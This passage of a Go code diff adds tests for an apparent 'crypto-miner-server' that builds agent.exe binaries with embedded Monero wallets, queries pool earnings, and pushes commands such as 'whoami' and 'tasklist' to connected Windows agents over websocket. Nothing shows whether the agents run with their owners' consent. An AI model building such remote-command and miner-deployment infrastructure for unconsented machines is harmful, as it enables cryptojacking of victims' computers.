+ if got := parseFloatQuery(req, "hashrate", 0); got != 123.45 {
+ t.Fatalf("hashrate want 123.45 got %v", got)
+ }
+ if got := parseFloatQuery(req, "missing", 9); got != 9 {
+ t.Fatalf("missing key want default 9 got %v", got)
+ }
+ if got := parseFloatQuery(req, "bad", 7); got != 7 {
+ t.Fatalf("invalid float want default 7 got %v", got)
+ }
+}
+
+func TestFleetGetEarningsEstimateOnly(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodGet, "/earnings?hashrate=1000000", nil)
+ fh.GetEarnings(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["source"] != nil {
+ t.Fatalf("expected estimate-only response, got source=%v", body["source"])
+ }
+ if body["hashrate"].(float64) != 1_000_000 {
+ t.Fatalf("hashrate not parsed: %v", body["hashrate"])
+ }
+}
+
+func TestFleetGetEarningsWalletFromBuild(t *testing.T) {
+ fh, database, _, _ := newTestFleetHandler(t)
+ wallet := "48buildwalletaddress0000000000000000000000000000000000000000000000000000000000"
+ if err := database.InsertBuild(&models.BuildRecord{
+ ID: "build-earn-1",
+ Wallet: wallet,
+ CreatedAt: time.Now(),
+ }); err != nil {
+ t.Fatal(err)
+ }
+
+ setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+ if !strings.Contains(req.URL.Host, "supportxmr.com") {
+ return nil, errors.New("unexpected host")
+ }
+ rec := httptest.NewRecorder()
+ rec.Header().Set("Content-Type", "application/json")
+ _, _ = rec.Write([]byte(`{
+ "amtDue": 1000000000000,
+ "amtPaid": 2000000000000,
+ "totalHashes": 999,
+ "hashRate": 5000,
+ "lastPaymentTs": 1609459200,
+ "lastPayment": 500000000000
+ }`))
+ return rec.Result(), nil
+ })
+
+ rec := httptest.NewRecorder()
+ fh.GetEarnings(rec, httptest.NewRequest(http.MethodGet, "/earnings?hashrate=1000", nil))
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["source"] != "pool_api" {
+ t.Fatalf("expected pool_api source, got %v", body["source"])
+ }
+ if body["pending_xmr"].(float64) != 1.0 {
+ t.Fatalf("pending_xmr want 1.0 got %v", body["pending_xmr"])
+ }
+ if body["paid_xmr"].(float64) != 2.0 {
+ t.Fatalf("paid_xmr want 2.0 got %v", body["paid_xmr"])
+ }
+ if body["last_payment_xmr"].(float64) != 0.5 {
+ t.Fatalf("last_payment_xmr want 0.5 got %v", body["last_payment_xmr"])
+ }
+}
+
+func TestFleetGetEarningsPoolAPIFallback(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+ return nil, errors.New("pool unreachable")
+ })
+
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodGet, "/earnings?wallet=48fallback&hashrate=2000000", nil)
+ fh.GetEarnings(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["source"] != nil {
+ t.Fatalf("expected estimate fallback without source, got %v", body["source"])
+ }
+ if body["hashrate"].(float64) != 2_000_000 {
+ t.Fatalf("hashrate %v", body["hashrate"])
+ }
+}
+
+func TestFleetGetEarningsEstimateDelegates(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ req := httptest.NewRequest(http.MethodGet, "/earnings/estimate?hashrate=500000", nil)
+
+ recDirect := httptest.NewRecorder()
+ fh.GetEarnings(recDirect, req)
+
+ recDelegate := httptest.NewRecorder()
+ fh.GetEarningsEstimate(recDelegate, req)
+
+ if recDirect.Body.String() != recDelegate.Body.String() {
+ t.Fatalf("GetEarningsEstimate should delegate to GetEarnings\ndirect: %s\ndelegate: %s",
+ recDirect.Body.String(), recDelegate.Body.String())
+ }
+}
+
+func TestFleetFetchPoolEarningsCache(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ cached := map[string]interface{}{"pending_xmr": 3.14}
+ fh.earningsMu.Lock()
+ fh.earningsCache = map[string]*poolEarningsCache{
+ "cached-wallet": {data: cached, fetchedAt: time.Now()},
+ }
+ fh.earningsMu.Unlock()
+
+ got, err := fh.fetchPoolEarnings("cached-wallet")
+ if err != nil {
+ t.Fatal(err)
+ }
+ if got["pending_xmr"].(float64) != 3.14 {
+ t.Fatalf("cache miss or wrong data: %v", got)
+ }
+}
+
+func TestFleetFetchPoolEarningsHTTPError(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+ rec := httptest.NewRecorder()
+ rec.WriteHeader(http.StatusNotFound)
+ return rec.Result(), nil
+ })
+ if _, err := fh.fetchPoolEarnings("missing-wallet"); err == nil {
+ t.Fatal("expected error for non-200 pool response")
+ }
+}
+
+func TestFleetGetAgentLogNilWS(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ fh.ws = nil
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodGet, "/agents/a1/log", nil)
+ fleetChiRoute(http.MethodGet, "/agents/{id}/log", fh.GetAgentLog).ServeHTTP(rec, req)
+ if rec.Code != http.StatusServiceUnavailable {
+ t.Fatalf("expected 503, got %d", rec.Code)
+ }
+}
+
+func TestFleetGetAgentLogContentAndRefresh(t *testing.T) {
+ fh, _, ws, _ := newTestFleetHandler(t)
+ ws.mu.Lock()
+ ws.agentLogs["agent-log-1"] = "line1\nline2"
+ ws.mu.Unlock()
+
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodGet, "/agents/agent-log-1/log?refresh=1", nil)
+ fleetChiRoute(http.MethodGet, "/agents/{id}/log", fh.GetAgentLog).ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["content"] != "line1\nline2" {
+ t.Fatalf("content %v", body["content"])
+ }
+}
+
+func TestFleetPostAgentCommandErrors(t *testing.T) {
+ fh, _, ws, _ := newTestFleetHandler(t)
+
+ t.Run("nil ws", func(t *testing.T) {
+ bad := *fh
+ bad.ws = nil
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{"action":"pause"}`))
+ fleetChiRoute(http.MethodPost, "/agents/{id}/command", bad.PostAgentCommand).ServeHTTP(rec, req)
+ if rec.Code != http.StatusServiceUnavailable {
+ t.Fatalf("expected 503, got %d", rec.Code)
+ }
+ })
+
+ t.Run("invalid json", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{`))
+ fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+ })
+
+ t.Run("missing action", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/a1/command", strings.NewReader(`{}`))
+ fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+ })
+
+ t.Run("agent not connected", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/offline-agent/command",
+ strings.NewReader(`{"action":"pause"}`))
+ fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d body %s", rec.Code, rec.Body.String())
+ }
+ })
+
+ t.Run("broadcast all no agents", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/all/command",
+ strings.NewReader(`{"action":"pause"}`))
+ fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected 200, got %d", rec.Code)
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["success"] != false || body["error"] != "no connected agents" {
+ t.Fatalf("unexpected body: %v", body)
+ }
+ })
+
+ _ = ws
+}
+
+func TestFleetPostAgentCommandSuccess(t *testing.T) {
+ fh, _, ws, _ := newTestFleetHandler(t)
+ agentID := "cmd-agent-1"
+ conn := connectTestAgent(t, ws, agentID)
+
+ rec := httptest.NewRecorder()
+ body := `{"action":"get_log","tail_lines":50,"command":"whoami","path":"C:\\","data":"x"}`
+ req := httptest.NewRequest(http.MethodPost, "/agents/"+agentID+"/command", strings.NewReader(body))
+ fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+
+ var cmd Message
+ if err := conn.ReadJSON(&cmd); err != nil {
+ t.Fatalf("read command: %v", err)
+ }
+ if cmd.Type != "command" {
+ t.Fatalf("expected command message, got %q", cmd.Type)
+ }
+ var payload map[string]interface{}
+ if err := json.Unmarshal(cmd.Payload, &payload); err != nil {
+ t.Fatal(err)
+ }
+ if payload["action"] != "get_log" || payload["tail_lines"].(float64) != 50 {
+ t.Fatalf("unexpected payload: %v", payload)
+ }
+}
+
+func TestFleetPostAgentCommandBroadcastAll(t *testing.T) {
+ fh, _, ws, _ := newTestFleetHandler(t)
+ conn := connectTestAgent(t, ws, "broadcast-agent")
+
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/all/command",
+ strings.NewReader(`{"action":"resume"}`))
+ fleetChiRoute(http.MethodPost, "/agents/{id}/command", fh.PostAgentCommand).ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+
+ var cmd Message
+ if err := conn.ReadJSON(&cmd); err != nil {
+ t.Fatalf("read broadcast command: %v", err)
+ }
+ if cmd.Type != "command" {
+ t.Fatalf("expected command, got %q", cmd.Type)
+ }
+}
+
+func TestFleetPutAgentMetaErrors(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+
+ t.Run("not found", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPut, "/agents/missing/meta",
+ strings.NewReader(`{"notes":"n","tags":["a"]}`))
+ fleetChiRoute(http.MethodPut, "/agents/{id}/meta", fh.PutAgentMeta).ServeHTTP(rec, req)
+ if rec.Code != http.StatusNotFound {
+ t.Fatalf("expected 404, got %d", rec.Code)
+ }
+ })
+
+ t.Run("invalid body", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPut, "/agents/a1/meta", errReader{})
+ fleetChiRoute(http.MethodPut, "/agents/{id}/meta", fh.PutAgentMeta).ServeHTTP(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+ })
+
+ t.Run("empty id", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPut, "/", strings.NewReader(`{"notes":"n"}`))
+ rctx := chi.NewRouteContext()
+ rctx.URLParams.Add("id", "")
+ req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
+ fh.PutAgentMeta(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+ })
+}
+
+func TestFleetPutAgentMetaSuccess(t *testing.T) {
+ fh, database, _, _ := newTestFleetHandler(t)
+ agent := &models.Agent{ID: "meta-agent", Name: "rig", Status: "offline", LastSeen: time.Now()}
+ if err := database.UpsertAgent(agent); err != nil {
+ t.Fatal(err)
+ }
+
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPut, "/agents/meta-agent/meta",
+ strings.NewReader(`{"notes":"lab box","tags":["gpu","win"]}`))
+ fleetChiRoute(http.MethodPut, "/agents/{id}/meta", fh.PutAgentMeta).ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["success"] != true {
+ t.Fatalf("unexpected body: %v", body)
+ }
+ agentObj := body["agent"].(map[string]interface{})
+ if agentObj["notes"] != "lab box" {
+ t.Fatalf("notes not saved: %v", agentObj["notes"])
+ }
+}
+
+func TestFleetPostBulkCommandErrors(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+
+ t.Run("nil ws", func(t *testing.T) {
+ bad := *fh
+ bad.ws = nil
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
+ strings.NewReader(`{"agent_ids":["a"],"action":"pause"}`))
+ bad.PostBulkCommand(rec, req)
+ if rec.Code != http.StatusServiceUnavailable {
+ t.Fatalf("expected 503, got %d", rec.Code)
+ }
+ })
+
+ t.Run("invalid body", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command", strings.NewReader(`{`))
+ fh.PostBulkCommand(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+ })
+
+ t.Run("missing action", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
+ strings.NewReader(`{"agent_ids":["a"]}`))
+ fh.PostBulkCommand(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400, got %d", rec.Code)
+ }
+ })
+
+ t.Run("missing agent ids", func(t *testing.T) {
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command",
+ strings.NewReader(`{"agent_ids":[],"action":"pause"}`))
+ fh.PostBulkCommand(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("expected 200, got %d", rec.Code)
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["success"] != false {
+ t.Fatalf("expected success false, got %v", body)
+ }
+ })
+}
+
+func TestFleetPostBulkCommandPartialSuccess(t *testing.T) {
+ fh, _, ws, _ := newTestFleetHandler(t)
+ onlineID := "bulk-online"
+ connectTestAgent(t, ws, onlineID)
+
+ rec := httptest.NewRecorder()
+ payload := `{"agent_ids":["` + onlineID + `","offline-one"],"action":"pause","command":"tasklist"}`
+ req := httptest.NewRequest(http.MethodPost, "/agents/bulk-command", strings.NewReader(payload))
+ fh.PostBulkCommand(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
+ }
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["success"] != true {
+ t.Fatalf("expected partial success true, got %v", body)
+ }
+ if body["sent"].(float64) != 1 || body["failed"].(float64) != 1 {
+ t.Fatalf("sent/failed counts: %v", body)
+ }
+}
+
+func TestFleetMinHelper(t *testing.T) {
+ if min(3, 5) != 3 || min(5, 3) != 3 || min(4, 4) != 4 {
+ t.Fatal("min helper wrong")
+ }
+}
+
+// errReader reuse from ai_handler_test.go for invalid JSON bodies.
+var _ io.ReadCloser = errReader{}
+
+func TestFleetGetLogRefreshUsesTailConstant(t *testing.T) {
+ fh, _, ws, _ := newTestFleetHandler(t)
+ agentID := "tail-agent"
+ conn := connectTestAgent(t, ws, agentID)
+
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodGet, "/agents/"+agentID+"/log?refresh=1", nil)
+ fleetChiRoute(http.MethodGet, "/agents/{id}/log", fh.GetAgentLog).ServeHTTP(rec, req)
+ if rec.Code != http.StatusOK {
+ t.Fatalf("status %d", rec.Code)
+ }
+
+ var cmd Message
+ if err := conn.ReadJSON(&cmd); err != nil {
+ t.Fatalf("read get_log command: %v", err)
+ }
+ var payload map[string]interface{}
+ if err := json.Unmarshal(cmd.Payload, &payload); err != nil {
+ t.Fatal(err)
+ }
+ if payload["action"] != "get_log" {
+ t.Fatalf("action %v", payload["action"])
+ }
+ if int(payload["tail_lines"].(float64)) != fleetGetLogTailLines {
+ t.Fatalf("tail_lines want %d got %v", fleetGetLogTailLines, payload["tail_lines"])
+ }
+}
+
+func TestFleetFetchPoolEarningsInvalidJSON(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
+ rec := httptest.NewRecorder()
+ rec.WriteHeader(http.StatusOK)
+ _, _ = rec.Write([]byte(`{`))
+ return rec.Result(), nil
+ })
+ if _, err := fh.fetchPoolEarnings("bad-json-wallet"); err == nil {
+ t.Fatal("expected unmarshal error")
+ }
+}
+
+func TestFleetGetEarningsWithWalletQueryParam(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ fh.earningsMu.Lock()
+ fh.earningsCache = map[string]*poolEarningsCache{
+ "query-wallet": {
+ data: map[string]interface{}{"paid_xmr": 9.99},
+ fetchedAt: time.Now(),
+ },
+ }
+ fh.earningsMu.Unlock()
+
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodGet, "/earnings?wallet=query-wallet", nil)
+ fh.GetEarnings(rec, req)
+ var body map[string]interface{}
+ if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
+ t.Fatal(err)
+ }
+ if body["paid_xmr"].(float64) != 9.99 || body["source"] != "pool_api" {
+ t.Fatalf("unexpected merged body: %v", body)
+ }
+}
+
+func TestFleetPostAgentCommandEmptyAgentID(t *testing.T) {
+ fh, _, _, _ := newTestFleetHandler(t)
+ rec := httptest.NewRecorder()
+ req := httptest.NewRequest(http.MethodPost, "/", strings.NewReader(`{"action":"pause"}`))
+ rctx := chi.NewRouteContext()
+ rctx.URLParams.Add("id", "")
+ req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
+ fh.PostAgentCommand(rec, req)
+ if rec.Code != http.StatusBadRequest {
+ t.Fatalf("expected 400 for empty id, got %d", rec.Code)
+ }
+}
diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go
index d567276..c527d36 100644
--- a/server/internal/api/websocket.go
+++ b/server/internal/api/websocket.go
@@ -532,6 +532,12 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
PendingUpdates *int `json:"pending_updates,omitempty"`
RebootPending *bool `json:"reboot_pending,omitempty"`
AgentElevated *bool `json:"agent_elevated,omitempty"`
+ Services []struct {
+ Name string `json:"name"`
+ DisplayName string `json:"display_name,omitempty"`
+ Status string `json:"status"`
+ StartType string `json:"start_type"`
+ } `json:"services,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
@@ -598,6 +604,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if stats.AgentElevated != nil {
broadcast["agent_elevated"] = *stats.AgentElevated
}
+ if len(stats.Services) > 0 {
+ broadcast["services"] = stats.Services
+ }
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
case "submit_share":
diff --git a/server/internal/maintenance/retention.go b/server/internal/maintenance/retention.go
index dc39048..1645709 100644
--- a/server/internal/maintenance/retention.go
+++ b/server/internal/maintenance/retention.go
@@ -9,17 +9,23 @@ import (
"crypto-miner-server/internal/db"
)
+// retentionTickInterval is the delay between scheduled retention passes (overridable in tests).
+var retentionTickInterval = 6 * time.Hour
+
+// runRetentionFn is the work function invoked by StartRetentionJobs (overridable in tests).
+var runRetentionFn = runRetention
+
// StartRetentionJobs purges old stats and build artifacts on an interval.
func StartRetentionJobs(database *db.Database, dataDir string, statsHours, buildDays int) {
if statsHours <= 0 && buildDays <= 0 {
return
}
go func() {
- runRetention(database, dataDir, statsHours, buildDays)
- ticker := time.NewTicker(6 * time.Hour)
+ runRetentionFn(database, dataDir, statsHours, buildDays)
+ ticker := time.NewTicker(retentionTickInterval)
defer ticker.Stop()
for range ticker.C {
- runRetention(database, dataDir, statsHours, buildDays)
+ runRetentionFn(database, dataDir, statsHours, buildDays)
}
}()
}
diff --git a/server/internal/maintenance/retention_test.go b/server/internal/maintenance/retention_test.go
new file mode 100644
index 0000000..615d55f
--- /dev/null
+++ b/server/internal/maintenance/retention_test.go
@@ -0,0 +1,307 @@
+package maintenance
+
+import (
+ "bytes"
+ "database/sql"
+ "errors"
+ "log"
+ "os"
+ "path/filepath"
+ "strings"
+ "sync/atomic"
+ "testing"
+ "time"
+
+ "crypto-miner-server/internal/db"
+ "crypto-miner-server/internal/models"
+)
+
+func openTestDB(t *testing.T) *db.Database {
+ t.Helper()
+ d, err := db.New(t.TempDir())
+ if err != nil {
+ t.Fatal(err)
+ }
+ t.Cleanup(func() { _ = d.Close() })
+ return d
+}
+
+func insertBuild(t *testing.T, d *db.Database, b *models.BuildRecord) {
+ t.Helper()
+ if err := d.InsertBuild(b); err != nil {
+ t.Fatal(err)
+ }
+}
+
+func seedHashrateSample(t *testing.T, d *db.Database, agentID string, ts time.Time, hashrate float64) {
+ t.Helper()
+ _, err := d.Exec("INSERT INTO hashrate_samples (agent_id, hashrate, timestamp) VALUES (?, ?, ?)",
+ agentID, hashrate, ts)
+ if err != nil {
+ t.Fatal(err)
+ }
+}
+
+func TestStartRetentionJobs_NoOpWhenDisabled(t *testing.T) {
+ d := openTestDB(t)
+ StartRetentionJobs(d, t.TempDir(), 0, 0)
+ // Disabled config must not start a goroutine that mutates data.
+ time.Sleep(20 * time.Millisecond)
+}
+
+func TestStartRetentionJobs_RunsImmediately(t *testing.T) {
+ d := openTestDB(t)
+ seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
+
+ StartRetentionJobs(d, t.TempDir(), 24, 0)
+ deadline := time.Now().Add(2 * time.Second)
+ for time.Now().Before(deadline) {
+ n, err := d.PurgeHashrateSamplesBefore(time.Now().Add(-24 * time.Hour))
+ if err != nil {
+ t.Fatal(err)
+ }
+ if n == 0 {
+ return
+ }
+ time.Sleep(20 * time.Millisecond)
+ }
+ t.Fatal("expected immediate retention pass to purge old hashrate samples")
+}
+
+func TestStartRetentionJobs_TickerInterval(t *testing.T) {
+ prev := retentionTickInterval
+ retentionTickInterval = 40 * time.Millisecond
+ t.Cleanup(func() { retentionTickInterval = prev })
+
+ d := openTestDB(t)
+ var passes int32
+ noopRetention := func(database *db.Database, dataDir string, statsHours, buildDays int) {
+ atomic.AddInt32(&passes, 1)
+ }
+ runRetentionFn = noopRetention
+ t.Cleanup(func() {
+ retentionTickInterval = prev
+ // StartRetentionJobs has no stop handle; leave a noop so the leaked goroutine is harmless.
+ runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {}
+ })
+
+ StartRetentionJobs(d, t.TempDir(), 1, 0)
+
+ deadline := time.Now().Add(250 * time.Millisecond)
+ for time.Now().Before(deadline) {
+ if atomic.LoadInt32(&passes) >= 2 {
+ return
+ }
+ time.Sleep(10 * time.Millisecond)
+ }
+ t.Fatalf("expected at least 2 retention passes (immediate + tick), got %d", passes)
+}
+
+func TestRunRetention_PurgesHashrateSamples(t *testing.T) {
+ d := openTestDB(t)
+ seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
+ seedHashrateSample(t, d, "a1", time.Now(), 200)
+
+ runRetention(d, t.TempDir(), 24, 0)
+
+ n, err := d.PurgeHashrateSamplesBefore(time.Now().Add(-24 * time.Hour))
+ if err != nil {
+ t.Fatal(err)
+ }
+ if n != 0 {
+ t.Fatalf("expected old sample already purged, PurgeHashrateSamplesBefore returned %d", n)
+ }
+
+ var remaining int
+ if err := d.QueryRow("SELECT COUNT(*) FROM hashrate_samples").Scan(&remaining); err != nil {
+ t.Fatal(err)
+ }
+ if remaining != 1 {
+ t.Fatalf("expected 1 recent sample left, got %d", remaining)
+ }
+}
+
+func TestRunRetention_SkipsStatsWhenZero(t *testing.T) {
+ d := openTestDB(t)
+ seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
+
+ runRetention(d, t.TempDir(), 0, 0)
+
+ var remaining int
+ if err := d.QueryRow("SELECT COUNT(*) FROM hashrate_samples").Scan(&remaining); err != nil {
+ t.Fatal(err)
+ }
+ if remaining != 1 {
+ t.Fatalf("expected sample retained when statsHours=0, got %d", remaining)
+ }
+}
+
+func TestRunRetention_PurgesBuildWithFilePath(t *testing.T) {
+ d := openTestDB(t)
+ dataDir := t.TempDir()
+ artifactDir := filepath.Join(dataDir, "artifacts", "old-build")
+ if err := os.MkdirAll(artifactDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ artifactFile := filepath.Join(artifactDir, "agent.exe")
+ if err := os.WriteFile(artifactFile, []byte("binary"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+
+ insertBuild(t, d, &models.BuildRecord{
+ ID: "old-build",
+ WorkerName: "worker-1",
+ ServerURL: "http://localhost",
+ Wallet: "wallet",
+ FilePath: artifactFile,
+ CreatedAt: time.Now().Add(-48 * time.Hour),
+ })
+ insertBuild(t, d, &models.BuildRecord{
+ ID: "new-build",
+ WorkerName: "worker-2",
+ ServerURL: "http://localhost",
+ Wallet: "wallet",
+ FilePath: filepath.Join(dataDir, "artifacts", "new-build", "agent.exe"),
+ CreatedAt: time.Now(),
+ })
+
+ runRetention(d, dataDir, 0, 1)
+
+ if _, err := os.Stat(artifactDir); !os.IsNotExist(err) {
+ t.Fatalf("expected artifact dir removed, stat err=%v", err)
+ }
+ _, err := d.GetBuild("old-build")
+ if !errors.Is(err, sql.ErrNoRows) {
+ t.Fatalf("expected old build deleted from db, got %v", err)
+ }
+ if _, err := d.GetBuild("new-build"); err != nil {
+ t.Fatalf("expected new build retained: %v", err)
+ }
+}
+
+func TestRunRetention_PurgesBuildWithoutFilePath(t *testing.T) {
+ d := openTestDB(t)
+ dataDir := t.TempDir()
+ buildDir := filepath.Join(dataDir, "builds", "legacy-build")
+ if err := os.MkdirAll(buildDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ if err := os.WriteFile(filepath.Join(buildDir, "bundle.zip"), []byte("zip"), 0o644); err != nil {
+ t.Fatal(err)
+ }
+
+ insertBuild(t, d, &models.BuildRecord{
+ ID: "legacy-build",
+ WorkerName: "worker-legacy",
+ ServerURL: "http://localhost",
+ Wallet: "wallet",
+ CreatedAt: time.Now().Add(-72 * time.Hour),
+ })
+
+ runRetention(d, dataDir, 0, 1)
+
+ if _, err := os.Stat(buildDir); !os.IsNotExist(err) {
+ t.Fatalf("expected fallback build dir removed, stat err=%v", err)
+ }
+ _, err := d.GetBuild("legacy-build")
+ if !errors.Is(err, sql.ErrNoRows) {
+ t.Fatalf("expected legacy build deleted, got %v", err)
+ }
+}
+
+func TestRunRetention_SkipsBuildsWhenZero(t *testing.T) {
+ d := openTestDB(t)
+ dataDir := t.TempDir()
+ buildDir := filepath.Join(dataDir, "builds", "keep-me")
+ if err := os.MkdirAll(buildDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
+ insertBuild(t, d, &models.BuildRecord{
+ ID: "keep-me",
+ WorkerName: "worker",
+ ServerURL: "http://localhost",
+ Wallet: "wallet",
+ CreatedAt: time.Now().Add(-72 * time.Hour),
+ })
+
+ runRetention(d, dataDir, 0, 0)
+
+ if _, err := os.Stat(buildDir); err != nil {
+ t.Fatalf("expected build dir kept when buildDays=0: %v", err)
+ }
+ if _, err := d.GetBuild("keep-me"); err != nil {
+ t.Fatalf("expected build record kept: %v", err)
+ }
+}
+
+func TestRunRetention_HashratePurgeErrorLogged(t *testing.T) {
+ d := openTestDB(t)
+ _ = d.Close()
+
+ var buf bytes.Buffer
+ prev := log.Writer()
+ log.SetOutput(&buf)
+ t.Cleanup(func() { log.SetOutput(prev) })
+
+ runRetention(d, t.TempDir(), 24, 0)
+
+ if !strings.Contains(buf.String(), "[Retention] hashrate purge failed:") {
+ t.Fatalf("expected hashrate purge error log, got: %q", buf.String())
+ }
+}
+
+func TestRunRetention_BuildListErrorLogged(t *testing.T) {
+ d := openTestDB(t)
+ _ = d.Close()
+
+ var buf bytes.Buffer
+ prev := log.Writer()
+ log.SetOutput(&buf)
+ t.Cleanup(func() { log.SetOutput(prev) })
+
+ runRetention(d, t.TempDir(), 0, 7)
+
+ if !strings.Contains(buf.String(), "[Retention] build list failed:") {
+ t.Fatalf("expected build list error log, got: %q", buf.String())
+ }
+}
+
+func TestRunRetention_StatsAndBuildsTogether(t *testing.T) {
+ d := openTestDB(t)
+ dataDir := t.TempDir()
+ seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
+ buildDir := filepath.Join(dataDir, "builds", "combo-old")
+ if err := os.MkdirAll(buildDir, 0o755); err != nil {
+ t.Fatal(err)
+ }
